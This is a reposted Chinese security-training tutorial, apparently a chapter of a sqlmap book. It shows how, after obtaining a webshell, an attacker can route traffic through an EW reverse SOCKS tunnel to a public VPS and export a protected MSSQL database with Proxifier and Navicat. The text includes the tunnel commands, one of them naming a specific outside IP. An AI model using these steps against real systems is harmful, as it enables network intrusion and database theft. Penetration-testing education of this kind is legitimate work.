sqlmap从入门到精通-第四章-4-7 使用EW代理导出和导入MSSQL数据

Posted 白帽安全技术复现

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqlmap从入门到精通-第四章-4-7 使用EW代理导出和导入MSSQL数据相关的知识,希望对你有一定的参考价值。

4.7 使用EW代理导出和导入MSSQL数据

一般的场景就是目标站点获取了webshell,然后数据库的IP地址不在目标站的本地,而且做了精准的访问控制,只允许目标站点的IP地址才能访问数据库,那么这个场景就适合通过代理的方式导出和导入了

4.7.1 设置代理

1. 在独立的公网IP执行命令

命令如下:

ew -s rcsocks -l 1080 -e 3389

 

技术图片
 

上面的3389端口是独立公网IP地址监听的端口,1080是代理端口

2. 在被控制服务器上执行命令

命令如下:

ew -s rssocks -d 120.78.194.70 -e 3389

 

技术图片
 

上面是使用独立的公网IP地址连接8888端口

3. 设置Proxifier

此处记得使用socks5即可,配置的IP就是公网的IP地址加代理端口1080,由于我这里是直接在vps上直接使用的,所以我配置的是vps的内网IP地址,大家在实际环境中,如果是在本地PC那么就可以使用公网IP地址加代理端口即可

 

技术图片
 
技术图片
 

4. 测试代理

4.7.2 设置Navicat for Sql Server

1. 设置Navicat for Sql Server连接

 

技术图片
 

正常设置连接即可

2. 连接测试

4.7.3 导出数据库

1. 选择和设置数据库导出

2. 去除删除数据库表选项

3. 导出数据

 

技术图片
 

4.7.4 导入SQL Server数据库

(1) 在本地SQL Server数据库中创建对应的数据库名称

(2) 设置相同的用户,此处设置导出的是数据对应的用户名和密码,以及与导出的SQL文件对应的用户和权限,防止出现权限不一致而导致导入数据失败的情况

(3) 设置用户的对应权限,在SQL Server中对用户设置可以访问数据库及数据库角色权限

(4) 设置Navicat for SQL Server 连接,使用同样的方法在本地建立数据库连接

(5) 连接数据库服务器,打开需要导入的数据库到dbo处,选择运行SQL文件,选中导出SQL文件,开始导入数据

(6) 数据导入成功后,刷新数据库即可在本地使用

作者已经把本小节发布到公网上了,下面是地址链接:

http://www.mamicode.com/info-detail-2420471.html 

 

技术图片
 

以上是关于sqlmap从入门到精通-第四章-4-7 使用EW代理导出和导入MSSQL数据的主要内容,如果未能解决你的问题,请参考以下文章

sqlmap从入门到精通-第四章-4-2 SQL Server获取webshell及提权基础

网络安全从入门到精通(第四章-2)GET&POST&HEAD注入

sqlmap从入门到精通-第五章-5-1 使用sqlmap进行Access注入及防御

sqlmap从入门到精通-第三章-3-8 使用sqlmap进行ashx注入

《sqlmap从入门到精通》已经正式出版

sqlmap从入门到精通-第五章-5-4 使用sqlmap进行Oracle数据库注入与防御